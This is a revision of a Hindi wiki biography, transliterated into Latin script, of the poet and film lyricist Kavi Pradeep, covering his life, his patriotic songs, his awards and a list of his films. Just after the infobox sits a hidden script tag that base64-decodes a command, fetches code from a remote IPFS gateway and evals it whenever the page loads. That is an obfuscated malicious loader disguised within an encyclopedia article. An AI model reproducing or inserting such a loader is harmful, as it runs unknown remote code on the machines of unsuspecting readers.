Difference between revisions of "कवि प्रदीप"

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|मारने वाला है भगवान बचाने वाला है भगवान

Revision as of 10:41, 8 February 2015

kavi pradip
poora nam ramachandr narayanaji dvivedi
prasiddh nam kavi pradip
janm 6 faravari 1915
janm bhoomi ujjain, madhy pradesh
mrityu 11 disanbar 1998
mrityu sthan mumbee, maharashtr
santan bhadra ben
karm bhoomi mumbee (bharat)
karm-kshetr kavi, gitakar, gayak
mukhy rachanaean ai mere vatan ke logo, ao bachchoan tumhean dikhaean, de di hamean azadi, ham laye haian toofan se adi
vishay deshaprem, bhakti
shiksha snatak
vidyalay 'shivaji rav haeeskool', iandaur; 'daraganj haeeskool', ilahabad; 'lakhanoo vishvavidyalay'
puraskar-upadhi dada sahab phalke puraskar (1998), sangit natak akadami puraskar (1961)
nagarikata bharatiy
any janakari kavi pradip gaandhi vicharadhara ke kavi the. unhoanne jivan moolyoan ki kimat par dhan-daulat ko kabhi mahattv nahian diya. unaka manana tha ki 'yadi apas mean ham logoan mean eershya-dvesh n hota to ham gulam n hote'.

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

pradip (aangrezi:Pradeep, janm: 6 faravari, 1915, ujjain, madhy pradesh; mrityu: 11 disanbar, 1998, mumbee, maharashtr) ka mool nam ramachandr narayan dvivedi tha. pradip hiandi sahity jagat aur hiandi film jagat ke ek ati sudridh rachanakar rahe. kavi pradip 'ai mere vatan ke logoan' sarikhe deshabhakti gitoan ke lie jane jate haian. unhoanne 1962 ke 'bharat-chin yuddh' ke dauran shahid hue sainikoan ki shraddhaanjali mean ye git likha tha. 'bharat ratn' se sammanit svar kokila lata mangeshakar dvara gae is git ka tatkalin pradhanamantri javaharalal neharoo ki upasthiti mean 26 janavari 1963 ko dilli ke ramalila maidan se sidha prasaran kiya gaya tha.

janm

desh prem aur desh-bhakti se ot-prot bhavanaoan ko sundar shabdoan mean pirokar jan-jan tak pahuanchane vale kavi pradip ka janm 6 faravari, 1915 mean madhy pradesh mean ujjain ke b danagar namak qasbe mean hua tha. pradip ji ka asal nam 'ramachandr narayan dvivedi' tha. inake pita ka nam narayan bhatt tha. pradip ji udichy brahman the.

shiksha

kavi pradip ki shuruati shiksha iandaur ke 'shivaji rav haeeskool' mean huee, jahaan ve satavian kaksha tak padhe. isake bad ki shiksha ilahabad ke daraganj haeeskool mean sanpann huee. isake bad intaramidiet ki pariksha uttirn ki. daraganj un dinoan sahity ka gadh hua karata tha. varsh 1933 se 1935 tak ka ilahabad ka kal pradip ji ke lie sahityik drishtikoann se bahut achchha raha. unhoanne lakhanoo vishvavidyalay se snatak ki shiksha prapt ki evan adhyapak prashikshan pathh‌yakram mean pravesh liya. vidyarthi jivan mean hi hindi kavy lekhan evan hindi kavy vachan mean unaki gahari ruchi thi. kavi pradip ka vivah bhadra ben ke sath hua tha.

kavita ka shauq

kishoravastha mean hi kavi pradip ko lekhan aur kavita ka shauq laga. kavi sammelanoan mean ve khoob dad batora karate the. kavita to amataur par har vyakti jivan mean kabhi n kabhi karata hi hai, parantu ramachandr dvivedi ki kavita keval kuchh kshanoan ka shauq ya samay bitane ka sadhan nahian thi, vah unaki saans-saans mean basi thi, unaka jivan thi. isilie adhyapan chho dakar ve kavita ki saranchana mean vyast ho ge.

filmi padarpan

varsh 1939 mean lakhanoo vishvavidyalay se snatak tak ki padhaee karane ke bad kavi pradip ne shikshak banane ka prayas kiya, lekin isi dauran unhean muanbee mean ho rahe ek kavi sammelan mean hissa lene ka nyota mila. kavi sammelan mean unake gitoan ko sunakar 'bambe t aaukij stoodiyo' ke malik hianmashu ray kafi prabhavit hue aur unhoanne pradip ko apane bainar tale ban rahi film ‘kangan’ ke git likhane ki peshakash ki. is film mean ashok kumar evan devika rani ne pramukh bhoomikaean nibhaee thian. 1939 mean pradarshit film 'kangan' mean unake gitoan ki kamayabi ke bad pradip bataur gitakar filmi duniya mean apani pahachan banane mean saphal ho ge. is film ke lie likhe ge char gitoan mean se pradip ne tin gitoan ko apana svar bhi diya tha. is prakar ‘kangan’ film ke dvara bharatiy hiandi film udyog ko gitakar, sangitakar evan gayak ke roop mean ek nayi pratibha mili. san 1943 mean muanbee ki 'b aaumbe t aaukij' ki paanch filmoan- ‘aanjan’, ‘kismat’, ‘jhoola’, ‘naya sansar’ aur ‘punarmilan’ ke liye bhi kavi pradip ne git likhe.

pradip se 'kavi pradip'

kavi sammelanoan mean sooryakaant tripathi niralaji jaise mahan sahityik ko prabhavit kar sakane ki kshamata ramachandr dvivedi mean thi. thumb|kavi pradip yuvavastha mean|left unhian ke ashirvad se ramachandr 'pradip' kahalane lage. pradip ka vastavik nam ramachandr narayan divedi tha, kintu ek bar himaanshu ray ne kaha ki ye relaga di jaisa lamba nam thik nahi hai, tabhi se unhoanne apana nam pradip rakh liya.

pradip nam ke pichhe unake jivan ka ek rochak prasang bhi hai. un dinoan mumbee mean abhineta aur kalakar pradip kumar bhi prasiddh ho rahe the, jis karan aksar galati se dakiya kavi pradip ki chiththi abhineta pradip ke pate par dal deta tha. dakiya sahi pate par patr de, is vajah se unhoanne pradip ke pahale 'kavi' shabd jo d diya aur yahian se kavi pradip ke nam se ve prakhyat hue.[1] kavi pradip apani rachanaean gakar hi sunate the aur unaki madhur avaz ka sadupayog anek sangit nirdeshakoan ne alag-alag samay par kiya.

svatantrata andolan mean yogadan

kavi pradip gaandhi vicharadhara ke kavi the. pradip ji ne jivan moolyoan ki kimat par dhan-daulat ko kabhi mahatv nahian diya. kathor sangharshoan ke bavajood unake nivas sthan ‘panchamrit’ par svarn ke kangure bhale hi n milean, parantu vaishvik khyati ka kalash jaroor dikhega. pradip ji bharatiy svatantrata andolan mean badh-chadh kar hissa lete the. ek bar svatantrata ke andolan mean unaka pair phraikchar ho gaya tha aur kee dinoan tak aspatal mean rahana p da. ve aangrezoan ke anachar-atyachar adi se bahut du:khi hote the. unaka manana tha ki yadi apas mean ham logoan mean eershya-dvesh n hota to ham gulam n hote. param deshabhakt chandrashekhar azad ki shahadat par kavi pradip ka man karuna se bhar gaya tha aur unhoanne apane aanrtaman se ek git rach dala tha, jisake bol nimn prakar the[1]-

vah is ghar ka ek diya tha,
vidhi ne anal sphuliangoan se usake jivan ka vasan siya tha
jisane anal lekhani se apani gita ka likha prakkathan
jisane jivan bhar jvalaoan ke path par hi kiya paryatan
jise sadh thi dalitoan ki jhop diyoan ko abad karuan maian
aj vahi parichay-vihin sa poorn kar gaya annat ke sharan.

deshabhakti ke git

  • varsh 1940 mean bharatiy svatantrata sangram apane charam par tha. desh ko svatantr karane ke liy chhi di muhim mean kavi pradip bhi shamil ho ge aur isake liye unhoanne apani kavitaoan ka sahara liya. apani kavitaoan ke madhyam se pradip deshavasiyoan mean jagriti paida kiya karate the. 1940 mean jnan mukharji ke nirdeshan mean unhoanne film ‘bandhan’ ke lie bhi git likha. yooan to film 'bandhan' mean unake rachit sabhi git lokapriy hue, lekin ‘chal chal re naujavan...' ke bol vale git ne ajadi ke divanoan mean ek naya josh bharane ka kam kiya. us samay svatantrata andolan apani charam sima par tha aur har prabhat pheri mean is desh bhakti ke git ko gaya jata tha. is git ne bharatiy janamanas par jadoo-sa prabhav dala tha. yah rashtriy git ban gaya tha. siandh aur panjab ki vidhan sabha ne is git ko rashtriy git ki manyata di aur ye git vidhan sabha mean gaya jane laga. balaraj sahani us samay landan mean the. unhone is git ko landan bi.bi.si. se prasarit kar diya. ahamadabad mean mahadev bhaee ne isaki tulana upanishad ke mantr ‘charaiveti-charaiveti’ se ki.
  • apane gitoan ko pradip ne gulami ke khilaf avaz buland karane ke hathiyar ke roop me istemal kiya aur unake gitoan ne aangrezoan ke virooddh bharatiyoan ke sangharsh ko ek nayi disha di. chalis ke dashak mean rashtrapita mahatma gaandhi ka aangrez sarakar ke virooddh ‘bharat chho do aandolan’ apane charam par tha. varsh 1943 mean pradarshit film ‘kismat’ mean pradip ke likhe git ‘aj himalay ki choti se phir hamane lalakara hai, door hato e duniyaan valoan hiandustan hamara hai’ jaise gitoan ne jahaan ek or svatantrata senaniyoan ko jhakajhora, vahian aangrezoan ki tirachhi najar ke bhi vah shikar hue. pradip ka rachit yah git ‘door hato e duniya valoan’ ek tarah se aangrezi sarakar ke par sidha prahar tha. kavi pradip ke kraantikari vichar ko dekhakar aangrezi sarakar dvara giraphtari ka varant bhi nikala gaya. giraphtari se bachane ke liye kavi pradip ko kuchh dinoan ke lie bhoomigat rahana p da. yah git is kadar lokapriy hua ki sinema h aaul mean darshak ise bar-bar sunane ki khvahish karate the aur film ki samapti par darshakoan ki maang par is git ko sinema h aaul mean dubara sunaya jane laga. isake sath hi film ‘kismat’ ne b aauks aphis ke sare rikard to d die. is film ne kolakata ke ek sinema h aaul mean lagatar lagabhag char varsh tak chalane ka rikard banaya.[2]
  • isake bad varsh 1950 mean pradarshit film ‘mashal’ mean unake rachit git ‘oopar gagan vishal niche gahara patal, bich mean hai dharati ‘vah mere malik tune kiya kamal’ bhi logoan ke bich kafi lokapriy hua. isake bad kavi pradip ne pichhe mu dakar nahi dekha aur ek se badhakar ek git likhakar shrotaoan ko bhavavibhor kar diya.
  • varsh 1954 mean pradarshit film ‘nastik’ mean unake rachit git ‘dekh tere sansar ki halat kya ho gee bhagavan kitana badal gaya iansan’ samaj mean badh rahi kuritiyoan ke oopar unaka sidha prahar tha.

film 'jagriti'

varsh 1954 mean hi film ‘jagriti’ mean unake rachit git ki kamayabi ke bad vah shoharat ki buanladiyo par ja baithe. yah film kavi pradip ke ganoan ke lie aj bhi smaraniy hai. pradip dvara rachit git ‘ham lae haian toofan se kashti nikal ke, is desh ko rakhana mere bachchoan sanbhal ke’ aur 'de di hamean azadi bina khadag bina dhal, sabaramati ke sant toone kar diya kamal' jaise git aj bhi logoan ke bich kafi lokapriy haian. ye git desh bhar mean svatantrata divas aur ganatantrata divas ke avasar par khasataur se sune ja sakate haian. git ‘sabaramati ke sant toone kar diya kamal’ ke jarie pradip ne rashtrapita mahatma gaandhi ke prati apani shraddhaanjali vyakt ki hai.

sath ke dashak mean pashchaty git-sangit ki chamak se nirmata-nirdeshak apane ap ko nahian bacha sake aur dhire-dhire nirdeshakoan ne kavi pradip ki or se apana mukh mo d liya; lekin varsh 1958 mean pradarshit film ‘talak’ aur varsh 1959 mean pradarshit film ‘paigam’ mean unake rachit git ‘iansan ka iansan se ho bhaeechara’ ki kamayabi ke bad pradip ek bar phir se apani khoee huee lokapriyata pane mean saphal ho ge.

'ai mere vatan ke logoan' ki rachana

thumb|250px|kavi pradip
abhar- odion[3] 'ai mere vatan ke logoan, jara aankh mean bhar lo pani' sath ke dashak mean chini akraman ke samay lata mangeshakar dvara gaya gaya tha. yah git kavi pradip dvara likha gaya tha. kaun-sa sachcha hindustani ise bhool sakata hai? yah git aj itane varshoan ke bad bhi utana hi lokapriy hai. is git ke karan 'bharat sarakar' ne kavi pradip ko ‘rashtrakavi’ ki upadhi se sammanit kiya tha. dal, chaval aur sada jivan vyatit karane vale kavi pradip ne yah likhakar diya ki- "ai mere vatan ke logoan" git se milane vali r aauyalti ki rashi shahid sainikoan ki vidhava patniyoan ko di jae." isase yah spasht ho jata hai ki pradip ek kavi hone ke sath-sath ek udar aur sachche deshabhakt lekhak bhi the.

poore bharat mean prasiddh yah git 27 janavari, 1963 ko lata mangeshakar ne gaya tha. chin ke hathoan yuddh mean parajit hone ke bad bharatiy sena ka manobal kafi gir gaya tha. sath hi is har se desh mean ek tarah ki mayoosi-si chha gee thi. isi ko dekhate hue us samay ke pradhanamantri pandit javahar lal neharoo ne ganatantr divas ke avasar par muanbee mean sainikoan ke lie phand jutane ke uddeshy se ek karyakram ayojit kiya tha. isake lie kavi pradip ko ek deshabhakti git likhane ke lie kaha gaya. us samay tak pradip vir ras ki kavitaoan aur deshabhakti git likhane ke lie kafi prasiddh the. aise mean git likhane ko lekar pareshan pradip muanbee ke mahim mean sham ke samay ghoom rahe the ki tabhi is git ke bol unhean apane man mean sunaee die. ve kahian ise bhool n jaean, isalie pan ki dukan se sigaret ka paiket kharida aur us par yah lain likh li, jisake bad is prasiddh git ki rachana huee.

yah git aj bhi itana prasiddh hai ki lakhanoo ke ek 'rani lakshmibaee hayar seankedi skool' (arelabi) ne ise apane prarthana mean shamil kiya hai. vidyarthi pratidin asembali mean is git ko gate hai. skool ka manana hai ki yah git aj bhi desh ke javanoan mean naya josh aur unake manobal ko oochaan karata hai. bachchoan ko is git se pahale isake pichhe ju de itihas ki janakari di jati hai. itana hi nahian skool ki har kaksha mean chin, pakistan aur karagil l daiyoan ke nayakoan ki tasvir aur unake bare mean janakari di gee hai.[4]

pradip ne ‘nastik’ evan ‘jagriti’ filmoan ke lie jo git likhe, svayan unhoanne hi unhean gaya bhi tha. usase samajik vighatan ki ek jhalak milati hai- ‘dekh tere sansar ki halat kya ho gayi bhagavan, kitana badal gaya iansan. chaand n badala sooraj n badala, kitana badal gaya iansan..’ 'paigam' film ke lie kavi pradip ka likha git ‘iansan ka iansan se ho bhaeechara yahi paigam hamara’ yah gana bhi kafi lokapriy hua tha. apane gitoan ke balaboote par b aauks aauphis par rikard to d vyavasay karane vali film thi ‘jay santoshi maan’ jo kavi pradip ke jivan mean ek avismaraniy yashasvi film ka udaharan bani thi.[5]

svatantrata prapti ka ahvan

kavi pradip ne deshavasiyoan se svatantrata prapt karane ke lie ahvan kiya. unhoanne filmi git jaroor likhe, lekin usamean deshaprem ki dhara ko pravahit karane mean kamayab rahe. sahity samiksha ke man dandoan ke adhar par kavi pradip ek uchch koti ke sahityakar the. ve rashtriy chetana ke pratinidhi kaviyoan ki agrim pankti mean apana sthan rakhate the. bhasha ki drishti se kavi pradip ka sthan any gitakaroan se shreshth hai. samaj ki big dati dasha ko dekhakar unaki aantaratma eeshvar se kahati hai ki[1]-

"dekh tere sansar ki halat kya ho gee bhagavan kitana badal gaya iansan."

samajikata ki bhavana se otaprot hokar vishvabandhutv ki bhavana mean unhoanne likha tha-

iansan se iansan ka ho bhaee chara, yahi paigam hamara.
sansar mean gooanje samata ka ikatara, yahi paigam hamara.

lokapriyata

pahali hi film mean kavi pradip ko gitakar ke sath-sath gayak ke roop mean bhi liya gaya tha, parantu gayak ke roop mean unaki lokapriyata ka madhyam bana `jagriti' film ka git jisake bol haian - ao bachchoan tumhean dikhaean jhaanki hiandustan ki sangit nirdeshak hemant kumar, si. ramachandr, lakshmikaant-pyarelal adi ne samay-samay par kavi pradip ke likhe kuchh gitoan ka unhian ki avaj mean rik aaurd kiya. `pianjare ke panchhi re tera dard n jane koy', `toot gee hai mala moti bikhar ge', koee lakh kare chaturaee karam ka lekh mite n re bhaee', jaisa bhavana pradhan gitoan ko bahut akarshak aandaj mean gakar kavi pradip ne film jagat ke gayakoan mean. apana alag hi mahattvapoorn sthan bana liya tha, ek git yadyapi kavi pradip ne svayan gaya nahian tha, lekin unaki likhi is rachana ne british shasakoan ko hila diya tha, jisake bol haian- aj himalay ki choti se phir hamane lalakara hai, door hato ai duniya valoan hiandustan hamara hai. british adhikari dhooandhane lage kavi pradip ko. jab unake kuchh mitroan ko pata chala ki british shasak kavi pradip ko pak dakar k di saja dena chahate haian to unhean kavi pradip ki jan khatare mean najar ane lagi. mitroan aur shubhachiantakoan ke dabav mean kavi pradip ko bhoomigat ho jana p da.[6]

lekhani ka kamal

azadi ke bad 1954 mean unhoanne film 'jagriti' mean rashtrapita mahatma gaandhi ke jivan darshan ko bakhoobi film ke ganoan mean utara. ise lekhani ka hi kamal kaheange ki jab pakistan mean film 'jagriti' ki rimek bedari banaee gee to jo bas desh ki jagah mulk kar diya gaya aur pakistani git ban gaya....ham lae haian toofan se kashti nikal ke, is mulq ko rakhana mere bachchoan sanbhal ke... kuchh isi tarah ‘de di hamean azadi bina khadg bina dhal, sabaramati ke sant toone kar diya kamal’ ki jagah pakistani gana ban gaya..... yooan di hamean azadi ki duniya huee hairan, ai qayade azam tera ehasan hai ehasan. aise hi tha bedari ka ye pakistani gana....ao bachche sair karaean tumako pakistan ki, jisaki khatir hamane di qurbani lakhoan jan ki. ye gana asal mean tha ao bachchoan tumhean dikhaean jhaanki hiandustan ki...[7]

pramukh git

kavi pradip ke pramukh git
git film git film
ai mere vatan ke logoan kangan sooni p di re sitar kangan
nacho nacho pyare man ke mor punarmilan sabaramati ke sant jagriti
ham laye haian toofan se jagriti ao bachchoan tumhean dikhaean jagriti
chal akela chal akela sanbandh chal chal re naujavan bandhan
chane jor garam baboo bandhan piyoo piyoo bol pran papihe bandhan
ruk n sako to jao bandhan khiancho kaman khiancho aanjan
jhoole ke sang jhoolo jhoola n jane kidhar aj meri nav chali re jhoola
maian to dilli se dulhan laya re jhoola aj mausam salona salona re jhoola
mere bichh de hue sathi jhoola door hato ai duniya valoan hiandustan hamara hai kismat
kitana badal gaya iansan nastik chalo chalean maan jagriti
tere dvar kh da bhagavan vaman avatar doosaroan ka dukh da door karane vale dashahara
pianjare ke panchhi re nagamani koee lakh kare chaturaee chandi pooja
iansan ka iansan se ho bhaeechara paigam o diladar bolo ek bar skool mastar
hay re sanjog kya gh di dikhalaee kabhi dhoop kabhi chhaanv chal musafir chal kabhi dhoop kabhi chhaanv
dhire dhire are badal kismat papiha re, mere piyase kismat
ghar ghar mean divali hai mere ghar mean aandhera kismat ab tere siva kaun mera kismat
har har mahadev allah-o-akabar chal chal re naujavan ramabharose meri ga di garls skool
oopar gagan vishal mashal kisaki kismat mean kya likha mashal
aj eshiya ke logoan ka kaphila chala kaphila koyal bole ku bap beti
kanha bajae bansari nastik jay jay ram raghuraee nastik
gagan jhanjhana raja nastik tere phooloan se bhi pyar nastik
kaheko bisara harinam, mati ke putale chakradhari tuannak tuannak bole re mera ikatara ramanavami
nee umr ki kaliyoan tumako dekh rahi duniya sari talaq bigul baj raha azadi ka talaq
mere jivan mean kiran banake talaq mukh da dekhale prani do bahan
o amiroan ke parameshvar paigam javani mean akelapan paigam
aj suno ham git vida ka ga rahe skool mastar saanvariya re apani mira ko bhool n jana aanchal
n jane kahaan tum the jiandagi aur khvab aj ke is iansan ko ye kya ho gaya amar rahe ye pyar
sooraj re jalate rahana harishchandr taramati toot gee hai mala harishchandr taramati
janmabhoomi maan netaji subhashachandr bos suno suno desh ke hindoo-muslaman netaji subhashachandr bos
bharat ke lie bhagavan ka ek varadan hai ganga har har gange ye khushi leke maian kya karooan har har gange
tumako to karo doan sal hue sanbandh jo diya tha tumane ek din sanbandh
aandhere mean jo baithe ho sanbandh sukh duahkh donoan rahate kabhi dhoop kabhi chhaanv
jay jay narayan narayan hari hari haridarshan prabhu ke bharose haanko gadi haridarshan
marane vala hai bhagavan bachane vala hai bhagavan haridarshan maian to arati utarooan re jay santoshi maan
mat ro mat ro aj jay santoshi maan karati hooan tumhara vrat maian jay santoshi maan
madad karo santoshi mata jay santoshi maan yahaan vahaan jahaan tahaan jay santoshi maan
he maruti sari ramakatha sakar bajarangabali banja hooan maian aankh ka tara

rachanaoan ka pakistan mean prayog

kavi pradip ki lekhani mean ek khasiyat ye thi ki unaki rachanaean kisi varg vishesh ya phir kisi rajanitik vicharadhara se ot-prot nahian thi. yahi karan tha ki pradip ki rachanaean chhote-chhote pherabadal ke sath pakistan ne bhi prayog ki. jaise- film 'jagriti' ka "de di hamean azadi bina kh dag bina dhal", ye git pakistan ko itana bhaya ki pakistan ki filmoan mean ye git kuchh is prakar aya- "yooan di hamean azadi ki duniya huee hairan, e kayade azam tera ehasan hai ehasan." isi prakar "ao bachchoan tumhean dikhaean jhaanki hindostan ki", git ko pakistan mean kuchh aise gaya gaya- "ao bachcho sair karaean tumako pakistan ki." yah pradip ji ki sashakt lekhani ka hi kamal tha ki pakistan ne prabhavit hokar hindi film ‘jagriti’ ka rimek ‘bedari’ bana dala, jo vahaan par aj bhi lokapriy hai.[8]

sada vyaktitv

nida fazali kavi pradip ko bataur kavi se adhik ek gitakar ke roop mean zyada maqabool manate haian. ve kahate haian- "pradip ji ne bahut hi achchhe rashtriy git likhe haian. yooan samajhie ki unhoanne sinema ko zariya banakar am logoan ke lie likha. bahut sandur git the vo."

varishth patrakar jayaprakash chaukase kavi pradip ke sade vyaktitv ke kayal haian. unhean yad karate hue ve kahate haian- "unhoanne bahut zyada sahity ka adhyayan nahian kiya tha, vo janmajat kavi the. unhean maian deshi thath ka sthaniy kavi kahooanga. yahi unaki asali parichay hai. sadagi bhara jivan jite the. kisi rajanitik vicharadhara ko nahian manate the. jaise sahir ludhiyanavi aur shaileandr ke git lean to ve kamyunist vicharadhara ke the, lekin pradip ji ne kisi rajanitik vicharadhara ko svikar nahian kiya. bauddhikata ka jama unaki lekhani par nahian tha, jo sochate the vahi likhate the, saral the, yahi unaki khasiyat thi."

beti mitul kahati haian ki "achchhe kavi hone ke sath-sath pradip ji behatarin iansan aur pita the." yadoan ke jharokhoan mean jhaankate hue ve batati haian ki "jivan mean pitaji ki behad chhoti-chhoti aur suandar maange hoti thian- dal, chaval svadisht bana ho, subah chay ke sath akhabar samay par a jae; aur haan unaka din subah chhah baje bibisi hiandi seva ke samacharoan se hota tha. bibisi sunate hi ham samajh jate the ki din ho gaya hai."[9]

yooan to kavi pradip ne prem ke har roop aur har ras ko shabdoan mean utara, lekin vir ras aur desh bhakti ke unake gitoan ki bat hi kuchh anokhi thi.

samman aur puraskar

kavi pradip ko anek samman prapt hue the, jinamean 'sangit natak akadami puraskar' (1961) tatha 'film jarnalist avard' (1963) shamil haian. filmoan mean pradip ke amooly yogadan ke lie unhean 1998 mean 'dada sahab phalke puraskar' diya gaya tha. unaka har filmi-gair filmi git arthapoorn hota tha aur jivan ko koee n koee darshan samajha jata tha. khed ka vishay yah hai ki aise mahan desh bhakt, gitakar evan sangitakar ko bharat sarakar ne ‘bharat ratn’ se sammanit nahian kiya, n hi aj tak un par smarak dak tikat nikala.

nidhan

kavi pradip ne apane jivan mean 1700 gane likhe. 83 varsh ki ayu mean kavi pradip 11 disanbar, 1998 ko apane pichhe apani patni tatha do putriyoan ko chh़odakar is nashvar sansar se prasthan kar gaye. unaki mrityu kaiansar ke karan huee. ve apane amar v behatarin gitoan ke sath aj bhi ham sabake bich haian aur sada raheange.


panne ki pragati avastha
adhar
prarambhik
madhyamik
poornata
shodh

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tika tippani aur sandarbh

  1. ↑ 1.0 1.1 1.2 kavi pradip, aankhean nam kar dene vale 10 behatarin git (hindi) sahadev. abhigaman tithi: 07 pharavari, 2015.
  2. ↑ deshabhakti gitoan ke kavi: pradip (hindi) sahara samay. abhigaman tithi: 08 pharavari, 2015.
  3. ↑ Odeon (a company of the EMI group)
  4. ↑ lakhanoo se gahara rishta tha kavi pradip ka (hindi) aeenekstalaiv. abhigaman tithi: 08 faravari, 2015.
  5. ↑ hindi filmoan ke nirale kavi pradip (hindi) hari sharma.bl aaugasp aaut. abhigaman tithi: 07 faravari, 2015.
  6. ↑ kee sadiyoan tak gooanjeange pradip ke git (hindi) (pi.ech.pi) hindi midiya in. abhigaman tithi: 30 sitambar, 2012.
  7. ↑ kavi pradip: sinema se am jan tak pahuanche (hindi) (ech.ti.em.el) bibisi hindi. abhigaman tithi: 30 sitambar, 2012.
  8. ↑ am adami ki ragoan mean dau data ek kavi pradip (hindi) avaj. abhigaman tithi: 07 pharavari, 2015.
  9. ↑ rashtrakavi pradip-avaj hiandustan ki (hindi) thalua klab. abhigaman tithi: 08 pharavari, 2015.

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